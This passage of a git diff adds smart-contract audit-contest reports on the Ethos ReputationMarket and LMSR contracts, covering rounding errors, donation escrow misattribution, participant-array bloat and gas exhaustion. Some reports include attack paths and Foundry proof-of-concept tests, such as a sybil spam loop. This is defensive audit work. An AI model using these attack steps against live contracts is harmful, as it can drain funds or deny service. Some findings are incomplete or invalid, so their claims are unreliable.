uUNIT).exp() * uUNIT).to_integral_value(rounding = ROUND_FLOOR); + return (yesExp, noExp); +def mulDiv(x,y,z,mode): + res = (x * y / z).to_integral_value(rounding = ROUND_FLOOR); + if (mode == Ceil): + if (res * z != x * y): + res += 1; + return res; +def getOdds(yesVotes, noVotes, liquidityParameter, isYes): + (yesExp, noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + sumExp = yesExp + noExp; + priceRatio = div(yesExp,sumExp) if isYes else div(noExp,sumExp); + return priceRatio; +def _calcVotePrice(isPositive): + odds = getOdds(votes[1], votes[0], liquidity, isPositive); + return mulDiv(odds, basePrice, uUNIT, Floor if isPositive else Ceil); + +for d in range(-499,500,1): + votes[0] = Decimal(500+d); + votes[1] = Decimal(500); + yesPrice = _calcVotePrice(TRUST); + noPrice = _calcVotePrice(DISTRUST); + if (yesPrice + noPrice < basePrice): + print(f"`votes[0] := {500+d:3} votes[1] := {500:3} sumPrice = {yesPrice + noPrice}`"); +``` + +### Mitigation +```diff +LMSR.sol + function getOdds( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter, + bool isYes + ) public pure returns (uint256 ratio) { + // Compute exponentials e^(yes/b) and e^(no/b) + (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + + // sumExp = e^(yes/b) + e^(no/b) + UD60x18 sumExp = yesExp.add(noExp); + + // priceRatio = e^(yes/b)/(sumExp) if isYes, else e^(no/b)/(sumExp) +-70: UD60x18 priceRatio = isYes ? yesExp.div(sumExp) : noExp.div(sumExp); ++70: UD60x18 priceRatio = isYes ? yesExp.div(sumExp) : 1e18 - yesExp.div(sumExp); + + // Unwrap to get scaled ratio + ratio = unwrap(priceRatio); + } +``` diff --git a/143.md b/143.md new file mode 100644 index 0000000..fd53b8f --- /dev/null +++ b/143.md @@ -0,0 +1,68 @@ +Magnificent Tortilla Eel + +High + +# Incorrect `updateDonationRecipient()` Function. + +### Summary +There could be a situation where a user has multiple markets, leading to a loss of funds for the owner when updating the donation recipient. + +### Root Cause +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L641 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +1. `Alice` registers with `profile1` and creates a market. +2. `Alice` is deleted from `profile1` and re-registers with `profile2`. +3. `Alice` receive the ownership of market in `profile2`. + Now, `Alice` is reciving donations from 2 markets. + Assuming that the donation amount from `profile1` is `2e18`, and the donation amount from `profile2` is `1e18`. +4. `Alice` is going to transfer ownership to `Bob`, who in `profile1`. + At this time, `Alice` should send the ownership and `2e18`. + However, in L641, all of `Alice`'s `3e18` are sent to `Bob`. + +### Impact +Loss of funds. + +### PoC +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L415 +>* @notice Deleted addresses can be re-registered to any profile. + +As you can see, the deleted address can be re-registered to any profile as long as it is not marked as Compromised. +The `EthosProfile.sol` is implemented this way. + +```solidity +ReputationMarket.sol + function updateDonationRecipient( + uint256 profileId, + address newRecipient + ) public whenNotPaused nonReentrant { + if (newRecipient == address(0)) revert ZeroAddress(); + + // if the new donation recipient has a balance, do not allow overwriting + if (donationEscrow[newRecipient] != 0) + revert InvalidMarketConfigOption("Donation recipient has balance"); + + // Ensure the sender is the current donation recipient + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + // Ensure the new recipient has the same Ethos profileId + uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Update the donation recipient reference + donationRecipient[profileId] = newRecipient; + // Swap the current donation balance to the new recipient +641: donationEscrow[newRecipient] += donationEscrow[msg.sender]; +642: donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); + } +``` + +### Mitigation +Consider using both the recipient and profileId as parameters for the donationEscrow. This ensures that funds are correctly attributed to the specific profile and recipient combination, preventing potential loss of funds. diff --git a/144.md b/144.md new file mode 100644 index 0000000..4748b65 --- /dev/null +++ b/144.md @@ -0,0 +1,62 @@ +Abundant Orchid Copperhead + +Medium + +# Wrong rounding direction will lead to user can't sell the last votes in the market due to underflow + +### Summary + +Wrong rounding direction in `_calcCost()` will lead to the user not being able to sell the last votes in the market due to underflow + +### Root Cause + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L1057 + +This calculation has wrong rounding: +```solidity + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); +``` +Instead of rounding in favor of the protocol (aka rounding up when user buying, rounding down when user selling), the calculation will round down when buying/selling TRUST vote, and round up when buying/selling DISTRUST vote + + +### Internal Pre-conditions +1. Admin creates a market with no/very small amount of creation cost +2. The base price of that market is mildly odd, which makes room for rounding + +### External Pre-conditions + +None + +### Attack Path + +1. The initial market will be: vote of `TRUST=1`, vote of `DISTRUST=1`, `basePrice = 1.111e18`, `liquidation parameter = 100`, `marketFunds = 0` because the admin can create markets with 0 amount of ether cost +2. User A buy 100 DISTRUST -> `_calcCost() = 68083609502231759384 ~ 68.08e18` -> `marketFund = 68083609502231759384` +3. User A sell 9 DISTRUST -> `_calCost() = 7200065779706726078 ~ 7.2e18` -> `marketFund = 68083609502231759384 - 7200065779706726078 = 60883543722525033306` +4. User A sell 11 DISTRUST -> `_calCost() = 7200065779706726078 ~ 7.2e18` ->`marketFund = 60883543722525033306 - 8548283373986344155= 52335260348538689151` +5. User A sell 80 DISTRUST, drain the whole market -> `_calCost() = 52335260348538689152 ~ 52.33e18` -> `marketFund = 52335260348538689151 - 52335260348538689152 = -1`. Because marketFund is uint256 type, the transaction revert +6. Instead, user A sell 79 DISTRUST -> `_calCost() = 51778371604325108785 ~ 51.78e18` -> `marketFund = 52335260348538689151 - 51778371604325108785 = 556888744213580366` -> not reverted + +### Impact + +As a result, user A can't sell the last DISTRUST vote, leading to losing ~0.55e18 ETH + +### PoC + +_No response_ + +### Mitigation + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L1054-L1058 + +```diff + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +- isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil ++ !isBuy ? Math.Rounding.Floor : Math.Rounding.Ceil + ); +``` \ No newline at end of file diff --git a/145.md b/145.md new file mode 100644 index 0000000..a6e72ca --- /dev/null +++ b/145.md @@ -0,0 +1,60 @@ +Upbeat Coffee Badger + +High + +# Using isPositive to determine rounding in _calcCost(…) instead of isBuy (or a similar variable) can lead to a 1 wei discrepancy during buy/sell operations. + +### Summary + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L1017 +A subtle but important bug lurks in _calcCost(…) at the very end where it applies rounding based on isPositive instead of isBuy. In other words, it uses: +```solidity +cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil +); +``` + +But whether we should round up or down actually depends on whether the user is buying or selling, not whether they’re buying “trust” (positive) or “distrust” (negative). By keying off of isPositive, the code can produce unintended outcomes. + +Why it’s a bug + 1. When buying (isBuy = true) + • Generally, the buyer wants an accurate (and slightly rounded up) figure to ensure they pay at least as much as the bonding curve dictates. + 2. When selling (isBuy = false) + • The seller wants an accurate (and slightly rounded down) figure to ensure they don’t get overcharged on slippage. + +Instead, the code is doing: + +If you’re buying/selling trust (isPositive = true), do Math.Rounding.Floor; +If you’re buying/selling distrust (isPositive = false), do Math.Rounding.Ceil. + +That logic was presumably intended to ensure the prices of “trust” plus “distrust” always total the basePrice. However, by mixing up which side of the trade you’re on (buy vs. sell) with whether the trade is on the trust or distrust side, the final cost or proceeds for each trade can be off by 1 wei in the wrong direction, causing price or revenue mismatches over many transactions. + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Inside _calcCost(…), the last line should decide rounding based on isBuy rather than isPositive. \ No newline at end of file diff --git a/146.md b/146.md new file mode 100644 index 0000000..bc44536 --- /dev/null +++ b/146.md @@ -0,0 +1,140 @@ +Magnificent Tortilla Eel + +High + +# Missing Maximum Participants Check in `buyVotes()` and Missing Remove from `participants[]` in `sellVotes()`. + +### Summary +The `buyVotes()` function does not check for maximium value of `participants.length`. +The `sellVotes()` function does not remove users who have sold all their votes. + +### Root Cause +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440 +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L26-L30 +```solidity + * Graduation: the intent is that upon graduation, each holder of trust and distrust votes receives equivalent ERC-20 tokens + * representing their position. These tokens will be freely tradable, without the reciprocal pricing mechanism of this contract. + * A price floor will be established by Ethos, offering to buy back the new ERC-20 tokens at their final vote price upon graduation, + * ensuring participants don't incur losses due to the transition. Only Ethos, through a designated contract, will be authorized to + * graduate markets and withdraw funds to initiate this conversion process. This conversion contract is not yet implemented. +``` +The `participants.length` will increase continusly. +If the `participants.length` increase excessively, after the graduation, each holder of TRUST and DISTURST votes may not receives equivalent ERC-20 tokens due to running out of gas. + +### PoC +```solidity +ReputationMarket.sol +440: function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + // preliminary check to ensure this is enough money to buy the minimum requested votes. + (, , , uint256 total) = _calculateBuy(markets[profileId], isPositive, minVotesToBuy); + if (total > msg.value) revert InsufficientFunds(); + + ( + uint256 purchaseCostBeforeFees, + uint256 protocolFee, + uint256 donation, + uint256 totalCostIncludingFees + ) = _calculateBuy(markets[profileId], isPositive, maxVotesToBuy); + uint256 currentVotesToBuy = maxVotesToBuy; + // if the cost is greater than the maximum votes to buy, + // decrement vote count and recalculate until we identify the max number of votes they can afford + while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = _calculateBuy( + markets[profileId], + isPositive, + currentVotesToBuy + ); + } + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // tally market funds + marketFunds[profileId] += purchaseCostBeforeFees; + + // Distribute the fees + applyFees(protocolFee, donation, profileId); + + // Calculate and refund remaining funds + uint256 refund = msg.value - totalCostIncludingFees; + if (refund > 0) _sendEth(refund); + emit VotesBought( + profileId, + msg.sender, + isPositive, + currentVotesToBuy, + totalCostIncludingFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +539: function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` + +### Mitigation +Consider adding a check for maximium value of paricipants.length and removing users who have sold all their votes. diff --git a/147.md b/147.md new file mode 100644 index 0000000..0c771e1 --- /dev/null +++ b/147.md @@ -0,0 +1,118 @@ +Sparkly Ruby Rabbit + +Medium + +# Participant List Bloat + +### Summary + +A malicious or automated spammer will cause unbounded storage growth and potential Denial of Service for the protocol by creating thousands of small participant entries in a market’s participants[profileId] array. + +In ReputationMarket, whenever a user calls buyVotes() for a specific market, if they were not previously marked as a participant (!isParticipant[profileId][msg.sender]), they are appended to an on-chain array participants[profileId]. This array never removes participants, even if they sell all their votes. Consequently, an attacker can use multiple addresses (sybil addresses) to perform minimal buys and bloat the array, growing it indefinitely. + +Impact +This bloat can lead to storage cost issues, extremely large arrays, and potential DOS in any future function or upgrade that iterates over participants[profileId]. It can also raise gas costs for other protocol interactions if they rely on enumerating or updating participant data. + +### Root Cause + +in ReputationMarket.sol, inside buyVotes() (and similarly in other logic that might add participants): + +```solidity + +if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; +} +``` +There is no condition or cleanup to remove a participant if they later have zero votes. +An attacker with infinite addresses can spam minimal buys (like 0.0001 votes) to forever remain in participants. + +### Internal Pre-conditions + +The contract code uses an ever-growing array: participants[profileId]. +No code path removes an address from participants[profileId] after their balance hits zero. + +### External Pre-conditions + +A malicious user has access to many addresses (e.g., wallet factory, bots, etc.). +The contract does not block minimal trades or have a minimum purchase that is large enough to discourage spamming. + + +### Attack Path + +1- Attacker funds many addresses with trivial amounts of ETH (just enough for a buy). +2- Each address calls buyVotes(profileId, isPositive=..., maxVotesToBuy=1, minVotesToBuy=1). +3- The contract sees !isParticipant[profileId][thatAddress] and appends the address to participants[profileId]. +4- The attacker either sells the vote or leaves it there—doesn’t matter, they remain in the array. +5- Repeats the process with thousands of addresses, causing unbounded growth in participants[profileId]. + + +### Impact + +Affected Party: +Potentially the protocol or future upgraders if they attempt enumerations or expansions on participants[profileId]. +Also, any admin or function that aims to retrieve or process the entire participant list can face gas or storage blowups. + +Result: +Data structure bloat: The array can become extremely large, leading to possible DOS if a future function tries to loop over it. +Gas Cost: On some L2s or especially for certain opcodes, reading or writing large arrays can become prohibitively expensive. + +(Currently, the code does not appear to iterate over participants[profileId] in critical paths, but any feature or upgrade that does so could break.) + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import "../src/ReputationMarket.sol"; + +contract ParticipantsBloatTest is Test { + ReputationMarket rm; + address attacker = address(0xBAD); + + function setUp() public { + rm = new ReputationMarket(); + // Suppose we create a market for profileId=123 + } + + function testParticipantsBloat() public { + uint256 profileId = 123; + + // Attacker systematically spams addresses + for(uint i = 0; i < 5000; i++){ + address spamAddr = address(uint160(i + 1000)); + vm.deal(spamAddr, 0.001 ether); + + vm.startPrank(spamAddr); + // minimal buy to get appended as a participant + rm.buyVotes{value: 0.0001 ether}(profileId, true, 1, 1); + vm.stopPrank(); + } + + // Now participants[profileId] might have 5,000 addresses. + // The array is permanently large; no removal. + } +} +``` +After this loop, any future code that tries enumerating participants[profileId] could face large gas usage. If repeated multiple times, it can reach tens or hundreds of thousands of entries. + + + +### Mitigation + +1-Remove Participants on Zero Balance +When a user’s trust/distrust votes are sold down to zero, remove them from participants[profileId]. This can be somewhat gas-heavy, but it prevents indefinite bloat. + +2-Use Off-Chain Indexing +Rely on events (e.g., VotesBought) for off-chain participant tracking. Then you don’t need a large on-chain array. + +3-Enforce a Minimum Buy +Requiring a higher minimum buy can deter spammers from cheaply adding themselves. + +4-Cap the Number of Participants +Introduce a maximum participant count or rely on a checkpoint-based approach to limit array growth. + +5-Periodically Prune +Possibly an admin function that prunes addresses that sold all votes. diff --git a/149.md b/149.md new file mode 100644 index 0000000..dba6eaf --- /dev/null +++ b/149.md @@ -0,0 +1,58 @@ +Hot Charcoal Orangutan + +Medium + +# MEDIUM Admin Bypasses Profile Validation for Donation Recipient + +### Summary + +The `ReputationMarket:_createMarket` function allows the admin to set any recipient as the donationRecipient for a profileId without enforcing the same validation rules present in `ReputationMarket:updateDonationRecipient`. Specifically, in `ReputationMarket:updateDonationRecipient`, the new recipient must be associated with the same profileId through the `verifiedProfileIdForAddress` function in the _ethosProfileContract. + +When admin creates a market they can directly pass the receiver address. But when the current donation receiver wants to change the address, they wont be able to change the address because the checks in `ReputationMarket:updateDonationRecipient` won't let change. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L621 + +### Root Cause + +In `ReputationMarket:_createMarket` + +```solidity +uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); +if (recipientProfileId != profileId) revert InvalidProfileId(); +``` + +This ensures that the newRecipient should have the profile same as previous profile id which means the current donation receivers are not able to change the address + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The inconsistency in how the donationRecipient is updated creates an unfair limitation for users. Admins have the flexibility to set any recipient address when creating a market, even if the recipient does not have a verified profile matching the market's profileId. In contrast, current donation recipients are restricted by strict checks when attempting to update their address. Specifically, they cannot change the recipient address unless the new address has the same profileId as the market, which significantly limits their ability to make updates. This discrepancy leads to an inconsistent and unfair user experience, where admins can bypass validation rules that users are forced to follow. Such restrictions can frustrate legitimate recipients while also allowing admins to introduce potentially incorrect or unverified recipients, undermining trust and fairness in the system. + + +### PoC + +t this stage, a concrete PoC cannot be provided as the audited codebase is incomplete, and several related contracts (e.g., admin or profile validation contracts) are not implemented. However, based on the available code, the vulnerability can be theoretically outlined as follows: + +- **Admin Behavior:** The admin can create a market and assign a donationRecipient without undergoing the strict validation checks imposed by updateDonationRecipient. This includes bypassing the profileId validation. +- **User Restriction:** A current donation recipient attempting to change the address is blocked by the updateDonationRecipient function's validation, which requires the new address to share the same profileId as the existing one. + + + +### Mitigation + +Remove +```solidity +if (recipientProfileId != profileId) revert InvalidProfileId(); +``` +this line or change conditons for admin in _createmarket according to how protocol should work \ No newline at end of file diff --git a/152.md b/152.md new file mode 100644 index 0000000..e1bec8d --- /dev/null +++ b/152.md @@ -0,0 +1,41 @@ +Gorgeous Cobalt Frog + +Medium + +# The contract can pay out the initial liquidity deposited as part of trading + +### Summary + +The contract can pay out the initial liquidity deposited as part of trading since [sellVotes()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539) doesn't check if the [two votes](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L346C1-L347C44) added in the create function is maintained after selling. + +### Root Cause + +in `ReputationMarket.sol` there is no check to ensures the following invariant to hold : +https://audits.sherlock.xyz/contests/735?filter=questions#:~:text=The%20contract%20must%20never%20pay%20out%20the%20initial%20liquidity%20deposited%20as%20part%20of%20trading.%20The%20only%20way%20to%20access%20those%20funds%20is%20to%20graduate%20the%20market. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +market owner should sell all the votes including the [two votes](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L346C1-L347C44) added in the create function. +this lead to get the initial liquidity deposited. + +### Impact + +contract doesn't hold the following invariant: +The contract must never pay out the initial liquidity deposited as part of trading. The only way to access those funds is to graduate the market. + +### PoC + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539C1-L578C4 + +### Mitigation + +ad a check to insure the funds deposited when creating the function maintain in the contract until the contract get graduate +d. \ No newline at end of file diff --git a/153.md b/153.md new file mode 100644 index 0000000..03ce546 --- /dev/null +++ b/153.md @@ -0,0 +1,83 @@ +Tall Daisy Mammoth + +Medium + +# Vulnerability in `buyVotes` Function + +### Summary + +The `buyVotes` function is vulnerable to a potential Denial of Service (DoS) vector caused by inefficient handling of vote purchasing calculations. + + +### Root Cause + +- In `ReputationMarket.sol:460-467` +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L460-L467 + +While Loop with Decrementing Votes: +If the user cannot afford the `maxVotesToBuy`, the function iteratively decrements the `currentVotesToBuy` value and recalculates the total cost using `_calculateBuy` until the vote cost matches the funds provided (`msg.value`). +In cases where `maxVotesToBuy` is significantly high, and the provided funds are insufficient to purchase even one vote, the loop will execute until `currentVotesToBuy` reaches zero. + +Gas Exhaustion Risk: +When a user sets `maxVotesToBuy` to a large value and provides insufficient funds to buy even a single vote, the while loop continues decrementing until it runs out of gas, causing the transaction to revert. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact +User may spend too much gas and got his transaction reverted + +_No response_ + +### PoC +```solidity + function test_buyVotes_revert_outofgas() public { + uint256 liquidity = 1e58; + uint256 basePrice = 0.0001 ether; // MINIMUM_BASE_PRICE + uint256 creationCost = 10 ether; + + // add new market confing with higher liquidity + vm.prank(admin); + reputationMarket.addMarketConfig(liquidity, basePrice, creationCost); + + // create userB market + vm.prank(owner); + profile.inviteAddress(address(userB)); + vm.prank(address(userB)); + profile.createProfile(DEFAULT.profileId); + (,,,uint256 profileId) = profile.profileStatusByAddress(address(userB)); + vm.prank(admin); + reputationMarket.setUserAllowedToCreateMarket(profileId, true); + vm.prank(address(userB)); + reputationMarket.createMarketWithConfig{value: creationCost}(profileId); + + uint256 amountVotesToBuy = 1e48; + vm.assume(amountVotesToBuy <= 133 * liquidity); + vm.deal(address(userA), basePrice * amountVotesToBuy); + vm.prank(address(userA)); + reputationMarket.buyVotes{value: basePrice}(profileId, true, amountVotesToBuy, 10); + } +``` +```solidity + │ │ ├─ [13309] LMSR::getCost{value: 100000000000000}(1, 1, 999999999999999999999999999999999999999999956388 [9.999e47], 1, 10000000000000000000000000000000000000000000000000000000000 [1e58]) [delegatecall] + │ │ │ └─ ← [Return] 499999950000000000000000000000000000000000000000000000000000000000 [4.999e65] + │ │ ├─ [8231] LMSR::getCost{value: 100000000000000}(1, 1, 999999999999999999999999999999999999999999956387 [9.999e47], 1, 10000000000000000000000000000000000000000000000000000000000 [1e58]) [delegatecall] + │ │ │ └─ ← [OutOfGas] EvmError: OutOfGas + │ │ └─ ← [Revert] EvmError: Revert + │ └─ ← [Revert] EvmError: Revert + └─ ← [Revert] EvmError: Revert +``` +_No response_ + +### Mitigation + +Implement a better optimal buy vote calculation \ No newline at end of file diff --git a/154.md b/154.md new file mode 100644 index 0000000..e09c662 --- /dev/null +++ b/154.md @@ -0,0 +1,68 @@ +Upbeat Coffee Badger + +Medium + +# _createMarket + +### Summary + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L318 + +The primary responsibility of the _createMarket function is to create a new reputation market based on the selected market configuration. However, the function always initializes the trust and distrust votes to 1, regardless of the selected market configuration (e.g., Default, Deluxe, or Premium), which should have distinct initial vote counts. +```solidity +function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex +) private nonReentrant { + // ... Code omitted ... + + // Initialize the new market with 1 trust and 1 distrust vote + markets[profileId].votes[TRUST] = 1; + markets[profileId].votes[DISTRUST] = 1; + + // ... Code omitted ... +} +``` +Mismatch with Expected Behavior + +According to the contract’s comments and the definition of market configurations, different market configurations (e.g., Default, Deluxe, Premium) should have distinct initial vote counts to control market liquidity and price stability. For example: + • Default Configuration: 1 trust vote and 1 distrust vote (high volatility) + • Deluxe Configuration: 1,000 trust votes and 1,000 distrust votes (moderate price stability) + • Premium Configuration: 10,000 trust votes and 10,000 distrust votes (high price stability) + +However, the current implementation of _createMarket ignores the marketConfigIndex and always sets the initial vote counts to 1, which is inconsistent with the expected behavior for different configurations. + +Potential Impacts + 1. Insufficient Market Liquidity: Regardless of the selected configuration, the market always starts with the lowest initial vote counts, leading to excessive price volatility and failing to reflect the higher liquidity and stability of advanced configurations. + 2. Poor User Experience: Users may expect different market behaviors based on their chosen configuration. However, since the initial vote counts are not properly set, the market fails to meet these expectations. + 3. Economic Model Failure: The LMSR model relies on the initial market state to dynamically adjust prices. Incorrect initial vote counts could cause price calculations and market behaviors to deviate from the intended design goals. + + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/invalid/.gitkeep b/invalid/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/invalid/116.md b/invalid/116.md new file mode 100644 index 0000000..c5bc66b --- /dev/null +++ b/invalid/116.md @@ -0,0 +1,37 @@ +Helpful Cherry Wombat + +Invalid + +# {actor} will {impact} {affected party} + +### Summary + +_No response_ + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/invalid/120.md b/invalid/120.md new file mode 100644 index 0000000..44baa22 --- /dev/null +++ b/invalid/120.md @@ -0,0 +1,37 @@ +Helpful Cherry Wombat + +Invalid + +# Malicious user will bypass maxSafeRatio + +### Summary + +There is no minimum check for the maxSafeRatio, a malicious user can supply a lower or negative maxSafeRatio + +### Root Cause + +In LMSR.sol:1 There is a missing check for lower or negative masSafeRatio + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/invalid/142.md b/invalid/142.md new file mode 100644 index 0000000..c88c7cd --- /dev/null +++ b/invalid/142.md @@ -0,0 +1,120 @@ +Hot Charcoal Orangutan + +Invalid + +# MEDIUM Exploitable MarketConfig Swapping Allows Fee Avoidance + +### Summary + +The `ReputationMarket:removeMarketConfig` function swaps the removed market configuration with the last element in the array. This behavior can be exploited by users who have already paid for a lower-cost configuration. If the admin swaps the configuration with one that has a higher cost before the market is created, the user can bypass the higher cost because their payment is based on the earlier, cheaper configuration. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L388C12-L388C30 + + +### Root Cause + +In ReputationMarket.sol removing of market config causes some confusions + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- If the admin absorbs the creation cost: Users can bypass higher fees by exploiting swapped configurations. + +### PoC + +Since the admin contract is not created this can be only theory. + +Initial market configs + +```json +marketConfigs = [ + {liquidity: 1000, basePrice: 0.01 ether,creationCost: 0.2 ether }, + {liquidity: 10000, basePrice: 0.01 ether,creationCost: 0.5 ether }, + {liquidity: 100000, basePrice: 0.01 ether,creationCost: 1 ether } +]; +``` + +**Steps:** +- User pays admin to create a market config at index 1 (2nd market config). +- Admin updates market configs before creating market for paid user +- When admin removes the 2nd market config then 3rd market config comes into 2nd market config place. It is as follows. + +```json +marketConfigs = [ + {liquidity: 1000, basePrice: 0.01 ether,creationCost: 0.2 ether }, + {liquidity: 100000, basePrice: 0.01 ether,creationCost: 1 ether } +]; +``` +- Now Admin creates market for alredy paid user at index 1 (2nd market config) buyt now it is updated. This will make user benefit. + +### Mitigation + +Add the below mapping in `ReputationMarket` contract. + +```diff + . + . + . + //Mappings ++ mapping(uint256 index=>bool) private marketConfigsStatus; + . + . ++ function _createMarket(uint256 profileId,address recipient,uint256 marketConfigIndex) private nonReentrant returns(bool,string memory) { + // In the above function added the return value + if (markets[profileId].votes[TRUST] != 0 || markets[profileId].votes[DISTRUST] != 0) + revert MarketAlreadyExists(profileId); + + // ensure the specified config option is valid + if (marketConfigIndex >= marketConfigs.length) + revert InvalidMarketConfigOption("Invalid config index"); + + uint256 creationCost = marketConfigs[marketConfigIndex].creationCost; + + // Handle creation cost, refunds and market funds for non-admin users + if (!hasRole(ADMIN_ROLE, msg.sender)) { + if (msg.value < creationCost) revert InsufficientLiquidity(creationCost); + marketFunds[profileId] = creationCost; + if (msg.value > creationCost) { + _sendEth(msg.value - creationCost); + } + } else { + // when an admin creates a market, there is no minimum creation cost; use whatever they sent + marketFunds[profileId] = msg.value; ++ if(!marketConfigsStatus[marketConfigIndex]){ ++ return (false,"Market Status Inactive"); ++ } + } + . + . + . + + return (true,""); + + } + +``` + +- Based on the return value the admin contract can return the funds paid by users back to them instead of creating a market which costs more costs. + +```diff +function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + . + . + . + + // Remove the last element +- marketConfigs.pop(); ++ marketConfigsStatus[configIndex]=false + } +``` diff --git a/invalid/148.md b/invalid/148.md new file mode 100644 index 0000000..7d9a81f --- /dev/null +++ b/invalid/148.md @@ -0,0 +1,41 @@ +Dandy Ultraviolet Troll + +Invalid + +# In Reputation market.sol , there is no check for liquidity max limit + +### Summary + +in LSMR.sol, it is recommended , that b value should be in range of 